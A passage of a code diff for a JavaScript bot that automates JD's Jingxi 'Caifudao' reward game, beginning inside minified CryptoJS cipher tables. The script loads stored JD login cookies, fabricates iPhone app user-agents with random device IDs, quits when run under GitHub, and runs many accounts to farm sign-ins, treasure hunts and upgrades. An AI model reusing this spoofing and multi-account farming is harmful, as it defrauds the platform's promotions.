30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t + }); + const $ = new Env("京喜财富岛"); + const JD_API_HOST = "https://m.jingxi.com/"; + const notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; + $.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; + $.notifyTime = $.getdata("cfd_notifyTime"); + $.result = []; + $.shareCodes = []; + let cookiesArr = [], cookie = '', token = ''; + let UA, UAInfo = {}; + const randomCount = $.isNode() ? 20 : 3; + $.appId = "92a36"; + function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined } } - let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/cfd.json') - if (!res) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json') + function nc(val1, val2) {//nullish coalescing + return val1 != undefined ? val1 : val2 } - $.strMyShareIds = [...(res && res.shareId || [])] - await shareCodesFormat() - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.canHelp = true - UA = UAInfo[$.UserName] - if ($.newShareCodes && $.newShareCodes.length) { - console.log(`\n开始互助\n`); - for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { - console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) - $.delcode = false - await helpByStage($.newShareCodes[j]) - await $.wait(2000) - if ($.delcode) { - $.newShareCodes.splice(j, 1) - j-- - continue - } - } - } else { - break - } + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } - await showMsg(); -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()); - -async function cfd() { - try { - nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) - let beginInfo = await getUserInfo(); - if (beginInfo.LeadInfo.dwLeadType === 2) { - console.log(`还未开通活动,尝试初始化`) - await noviceTask() - await $.wait(2000) - beginInfo = await getUserInfo(false); - if (beginInfo.LeadInfo.dwLeadType !== 2) { - console.log(`初始化成功\n`) - } else { - console.log(`初始化失败\n`) - return - } + !(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; } - - // 寻宝 - console.log(`寻宝`) - let XBDetail = beginInfo.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0) - if (XBDetail.length !== 0) { - console.log(`开始寻宝`) - $.break = false - for (let key of Object.keys(XBDetail)) { - let vo = XBDetail[key] - await $.wait(2000) - await TreasureHunt(vo.strIndex) - if ($.break) break + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + $.pearlEnd = false + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.allTask = [] + $.info = {} + token = await getJxToken() + await cfd(); + await $.wait(3000); } - } else { - console.log(`暂无宝物`) - } - - //每日签到 - await $.wait(2000) - await getTakeAggrPage('sign') - - //小程序每日签到 - await $.wait(2000) - await getTakeAggrPage('wxsign') - - //使用道具 - if (new Date().getHours() < 22){ - await $.wait(2000) - await GetPropCardCenterInfo() } - - //助力奖励 - await $.wait(2000) - await getTakeAggrPage('helpdraw') - - console.log('') - //卖贝壳 - // await $.wait(2000) - // await querystorageroom('1') - - //升级建筑 - await $.wait(2000) - for(let key of Object.keys($.info.buildInfo.buildList)) { - let vo = $.info.buildInfo.buildList[key] - let body = `strBuildIndex=${vo.strBuildIndex}&dwType=1` - await getBuildInfo(body, vo) - await $.wait(2000) + console.log('助力升级中。。。') + /* + let res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/6dylan6/updateTeam@main/shareCodes/cfd.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/6dylan6/updateTeam@main/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/6dylan6/updateTeam@main/shareCodes/cfd.json') } - - //接待贵宾 - console.log(`接待贵宾`) - if ($.info.StoryInfo.StoryList) { - await $.wait(2000) - for (let key of Object.keys($.info.StoryInfo.StoryList)) { - let vo = $.info.StoryInfo.StoryList[key] - if (vo.Special) { - console.log(`请贵宾下船,需等待${vo.Special.dwWaitTime}秒`) - await specialUserOper(vo.strStoryId, '2', vo.ddwTriggerDay, vo) - await $.wait(vo.Special.dwWaitTime * 1000) - await specialUserOper(vo.strStoryId, '3', vo.ddwTriggerDay, vo) + $.strMyShareIds = [...(res && res.shareId || [])] + //await shareCodesFormat() + for (let i = 0; i < 0; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.canHelp = true + UA = UAInfo[$.UserName] + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + await helpByStage($.newShareCodes[j]) await $.wait(2000) - } else { - console.log(`当前暂无贵宾\n`) + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } } + } else { + break } - } else { - console.log(`当前暂无贵宾\n`) - } - - //收藏家 - console.log(`收藏家`) - if ($.info.StoryInfo.StoryList) { - await $.wait(2000) - for (let key of Object.keys($.info.StoryInfo.StoryList)) { - let vo = $.info.StoryInfo.StoryList[key] - if 